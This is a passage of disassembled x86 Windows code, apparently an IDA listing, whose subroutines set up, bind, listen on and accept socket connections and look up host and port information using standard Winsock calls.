[eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE5C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE08, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov 